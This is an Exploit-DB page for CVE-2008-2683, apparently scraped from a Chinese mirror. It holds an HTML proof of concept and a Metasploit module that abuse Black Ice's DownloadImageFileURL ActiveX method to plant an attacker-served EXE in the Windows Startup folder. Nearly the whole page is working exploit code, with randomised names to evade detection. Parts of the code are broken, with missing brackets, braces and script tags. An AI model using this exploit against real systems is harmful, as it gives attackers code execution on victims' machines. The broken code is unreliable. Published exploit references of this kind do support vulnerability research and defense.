Black Ice Cover Page SDK – Insecure Method ‘DownloadImageFileURL()’ (Metasploit)

Exploit Database
114 阅读

作者： mr_me

日期： 2011-06-20
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/17415/

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<html>

Blackice Cover Page SDK insecure method DownloadImageFileURL() exploit

<!--

RegKey Safe for Script: True

RegkeySafe for Init: True

KillBitSet: False

vendor: http://www.blackice.com/

software link: http://www.blackice.com/DownloadForms/downloadformimp.asp?product=Cover+Page+Generator

-->

arg1="http://www.google.com/robots.txt"

arg2="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\robots.txt"

target.DownloadImageFileURL arg1 ,arg2

</script>

</html>

# MSF Module

# $Id: blackice_coverpage_download.rb 12540 2011-06-20 20:43:19Z mr_me $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::EXE

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:os_name=> OperatingSystems::WINDOWS,

:javascript => true,

:rank => NormalRanking,

:vuln_test=> nil,

})

def initialize(info = {})

super(update_info(info,

'Name' => 'Black Ice Cover Page ActiveX Control Arbitrary File Download',

'Description'=> %q{

This module allows remote attackers to place arbitrary files on a users file system

by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX Control (BIImgFrm.ocx 12.0.0.0).

This issue is also reported in BIDIB.ocx (10.9.3.0) within the Barcode SDK.

'License'=> MSF_LICENSE,

'Author' => [

'shinnai', # original discovery

'mr_me' # msf

'Version'=> '$Revision: 12540 $',

'References' =>

[

[ 'CVE', '2008-2683'],

[ 'OSVDB', '46007'],

[ 'BID', '29577'],

[ 'URL', 'http://www.exploit-db.com/exploits/5750/' ],

'DefaultOptions' =>

{

'InitialAutoRunScript' => 'migrate -f',

'Payload'=>

{

'Space' => 2048,

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Automatic', { } ],

'DefaultTarget'=> 0,

'DisclosureDate' => 'Jun 20 2011'))

register_options(

[

OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\']),

], self.class)

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

payload_url ="http://"

payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

if (request.uri.match(/payload/))

return if ((p = regenerate_payload(cli)) == nil)

data = generate_payload_exe({ :code => p.encoded })

print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")

send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })

return

end

# random junk

vname= rand_text_alpha(rand(100) + 1)

exe= rand_text_alpha(rand(20) + 1)

clsid= "79956462-F148-497F-B247-DF35A095F80B"

blackice = rand_text_alpha(rand(100) + 1)

method = "DownloadImageFileURL"

arg1 = rand_text_alpha(rand(100) + 1)

arg2 = rand_text_alpha(rand(100) + 1)

content = <<-EOS

<html>

#{arg1} = "#{payload_url}"

#{arg2} = "#{datastore['PATH']}#{exe}.exe"

#{blackice}.#{method} #{arg1}, #{arg2}

</script>

</html>

EOS

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

send_response_html(cli, content)

handler(cli)

end